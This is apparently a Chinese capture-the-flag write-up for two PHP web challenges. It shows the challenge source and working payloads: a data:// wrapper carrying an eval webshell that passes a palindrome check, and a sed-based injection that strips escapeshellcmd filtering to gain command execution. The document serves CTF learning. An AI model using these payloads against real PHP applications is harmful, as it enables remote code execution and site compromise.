pass-01 web签到
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
if(isset($file)){
if(strrev($file)==$file){
include $file;
}
}
看到入参file 判断项是 strrev(反转)==正常入参
刚开始考虑过弱等于绕过,但是include没啥用,
后来了解到 2个知识点,,
1.第一可以利用 data://伪协议,
2.php ?>后的内容不再进行运算
所以可以构造如下:
file=data://text/plain,<?php eval($_REQUEST[1]);?>

通过py反转构造完整payload

签到题这么难?签到题不应该是有手就行的那种吗。
PASS-02 easyPHP
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
$param = $_POST['param'];
if(isset($cmd) && isset($param)){
$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;
shell_exec($cmd);
}
escapeshell用来做过滤,限制了字符串长度为3,
根据大牛提示经验 需要使用sed命令新建文件,用sed匹配参数正则来进行替换修改
sed 正则表达式 - sed 基础教程 - 简单教程,简单编程
先需要使用参数:
1. “/escap/d” 其中的d为的是删除 escap整行的限制
2.使用参数“s/shell_exec/system/g” 这里的s目的是替换 g 参数目的是为了全局,
完整payload=“cmd=sed¶m=/escapeshell/d;s/shell_exec/system/g;w 99.php”
本文探讨了两道PHP安全题目,涉及strrev函数的等价比较和escapeshellcmd函数的过滤限制。在签到题pass-01中,通过data://伪协议和PHP注释语法构造payload绕过;在pass-02中,利用sed命令删除escapeshell限制并替换shell_exec为system。这些技巧展示了PHP安全防护的潜在弱点。

767

被折叠的 条评论
为什么被折叠?



